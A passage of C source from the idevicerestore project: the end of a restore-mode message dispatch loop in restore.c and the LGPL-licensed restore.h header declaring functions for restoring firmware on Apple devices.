"CHECKPOINT_COMPLETE"); if (PLIST_IS_BOOLEAN(node)) { plist_get_bool_val(node, &ckpt_complete); } if (ckpt_complete) { info("Checkpoint completed id: 0x%" PRIX64 " (%s) result=%" PRIi64 "\n", ckpt_id, ckpt_name, ckpt_res); } else { info("Checkpoint started id: 0x%" PRIX64 " (%s)\n", ckpt_id, ckpt_name); } node = plist_dict_get_item(message, "CHECKPOINT_WARNING"); if (node) { info("Checkpoint WARNING id: 0x%" PRIX64 " result=%" PRIi64 ": %s\n", ckpt_id, ckpt_res, plist_get_string_ptr(node, NULL)); } node = plist_dict_get_item(message, "CHECKPOINT_ERROR"); if (node) { info("Checkpoint FAILURE id: 0x%" PRIX64 " result=%" PRIi64 ": %s\n", ckpt_id, ckpt_res, plist_get_string_ptr(node, NULL)); } } // baseband update message else if (!strcmp(type, "BBUpdateStatusMsg")) { err = restore_handle_bb_update_status_msg(client, message); } // baseband updater output data request else if (!strcmp(type, "BasebandUpdaterOutputData")) { err = restore_handle_baseband_updater_output_data(client, message); } // handle restored crash, print backtrace else if (!strcmp(type, "RestoredCrash")) { err = restore_handle_restored_crash(client, message); } // handle async wait else if (!strcmp(type, "AsyncWait")) { err = restore_handle_async_wait(client, message); } else if (!strcmp(type, "RestoreAttestation")) { err = restore_handle_restore_attestation(client, message); } // there might be some other message types i'm not aware of, but I think // at least the "previous error logs" messages usually end up here else { debug("Unknown message type received\n"); //if (idevicerestore_debug) debug_plist(message); } free(type); plist_free(message); message = NULL; } if (client->async_err != 0) { err = client->async_err; } #ifdef HAVE_REVERSE_PROXY reverse_proxy_client_free(rproxy); #else if (thread_alive(fdr_thread)) { if (fdr_control_channel) { fdr_disconnect(fdr_control_channel); thread_join(fdr_thread); fdr_control_channel = NULL; } } #endif restore_client_free(client); return err; } idevicerestore-master/src/restore.h000066400000000000000000000054151464320324600200170ustar00rootroot00000000000000/* * restore.h * Functions for handling idevices in restore mode * * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2012-2015 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_RESTORE_H #define IDEVICERESTORE_RESTORE_H #ifdef __cplusplus extern "C" { #endif #include #include #include struct restore_client_t { plist_t tss; plist_t bbtss; idevice_t device; char* udid; unsigned int operation; uint64_t protocol_version; restored_client_t client; plist_t build_identity; }; int restore_check_mode(struct idevicerestore_client_t* client); irecv_device_t restore_get_irecv_device(struct idevicerestore_client_t* client); int restore_client_new(struct idevicerestore_client_t* client); void restore_client_free(struct idevicerestore_client_t* client); int restore_is_image4_supported(struct idevicerestore_client_t* client); int restore_reboot(struct idevicerestore_client_t* client); const char* restore_progress_string(unsigned int operation); int restore_handle_status_msg(struct idevicerestore_client_t* client, plist_t message); int restore_handle_progress_msg(struct idevicerestore_client_t* client, plist_t message); int restore_handle_data_request_msg(struct idevicerestore_client_t* client, plist_t message); int restore_send_nor(struct idevicerestore_client_t* client, plist_t message); int restore_send_root_ticket(struct idevicerestore_client_t* client, plist_t message); int restore_send_component(struct idevicerestore_client_t* client, plist_t message, const char* component, const char* component_name); int restore_device(struct idevicerestore_client_t* client, plist_t build_identity); int restore_open_with_timeout(struct idevicerestore_client_t* client); int restore_send_filesystem(struct idevicerestore_client_t* client, plist_t message); int restore_send_fdr_trust_data(struct idevicerestore_client_t* client, plist_t message); #ifdef __cplusplus } #endif #endif